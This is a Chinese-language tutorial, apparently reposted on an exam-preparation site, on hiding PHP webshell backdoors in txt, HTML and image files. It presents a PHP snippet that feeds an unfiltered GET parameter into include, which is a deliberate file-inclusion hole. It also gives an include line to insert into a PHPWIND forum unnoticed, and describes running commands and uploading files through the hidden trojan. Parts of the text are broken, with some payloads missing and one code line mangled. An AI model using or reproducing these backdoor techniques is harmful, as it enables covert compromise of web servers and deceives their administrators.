很多人都有一個疑問，是否能把我那一句話木馬隱藏到HTML或圖片裡，其實把一句話木馬插入到PHP檔案中就已經很隱蔽了，如果說硬是要放到 HTML檔案或圖片裡，那就看看小編為大家搜尋整理的PHP後門的隱藏技巧，希望能給大家帶來幫助!更多精彩內容請及時關注我們應屆畢業生考試網!
要知道如果光把PHP語句放到圖片裡是無論如何也不能執行的，因為PHP只解析副檔名為php的檔案。所以說要能使隱藏在圖片裡的PHP語句執行。我們就的藉助PHP中的呼叫函式 ：include 、require 等。
記得前些日子把木馬隱藏到圖片的文章吧。也就是在PHP檔案裡用include("x.gif")這樣的語句來呼叫隱藏在圖片的木馬語句。ASP中語句也類似。看似非常隱蔽但直接呼叫圖片對稍微懂點PHP的人就不難發現可疑之處。由於URL 裡用GET方式很難傳遞引數，這就使得插入木馬的效能得不到發揮。
Include 函式在PHP中使用的比較頻繁，所以引起的安全問題也實在太多，例如PHPWIND1.36的`漏洞就是因為include後面的變數沒做過濾引起的。由此我們就可以構造類似的語句來插入到PHP檔案中。然後把木馬隱藏到圖片或HTML檔案裡，可以說隱蔽性就更高了。如在PHPWIND論壇裡插入下面的語句：<‘’?@include includ/.$PHPWIND_ROOT;? > 一般管理員是無法看出來的。
有了include 函式來輔助幫忙我們就可以把PHP木馬隱藏到 諸如 txt、html和圖片檔案等很多型別的檔案裡來了。因為txt、html和圖片檔案這三種類型的檔案最無論在論壇還是文章系統裡是最為常見的了，下面我們就依次來做測試。
首先建立一PHP檔案 檔案內容為:
$test=$_GET['test'];
@include 'test/'.$test;
?>
Txt檔案一般都是說明檔案，所以我們把一句話木馬放到目錄的說明檔案裡就OK了。隨便建立一個TXT檔案。我們把一句話木馬貼上到 檔案裡。然後訪問 http://localhost/test/ 如果你看到的內容就證明Ok了， 然後把在lanker微型PHP後門客戶端 木馬地址添入 http://localhost/test/ 密碼裡添入cmd就可以了，執行返回的結果都可以看到。
對於HTML的檔案，一般都為模版檔案。為了使插入到HTML的檔案的木馬能被呼叫執行而且不被顯示出來，我們可以在HTML里加入一個隱藏屬性的文字框 ，如： 然後使用方法同上。執行的返回結果一般都可以檢視原始檔看到。 如使用檢視本程式目錄功能。檢視原始檔內容為 我可以得到目錄為 C:Uniserver2_7swwwtest。
下面我們說說圖片檔案，要說最為毒的一招莫過於把木馬隱藏到圖片裡。我們可以直接對一個圖片進行編輯，把插入到圖片末尾
經測試一般都不會對圖片造成影響。然後同樣方法客戶端木馬地址添入
我們檢視PHP環境變數 返回的是結果是原圖片。
這裡可能要和我們想象的結果有些差距了，其實命令已經運行了，只是返回的結果看不到而已，因為這是真正的GIF檔案，所以是不會顯示返回結果的，為了證明是否真的執行了命令我們執行上傳檔案命令。果不出所料，檔案已經成功上傳到伺服器上。這樣偽造的優點是隱蔽性好。缺點也自然不用說了是沒回顯。如果你想看到返回的結果，那就拿出記事本偽造一個假的圖片檔案吧。
到這裡就基本測試完了，怎樣隱蔽PHP後門就看你自己的選擇了。行文倉促，如有不妥之處，請指出!
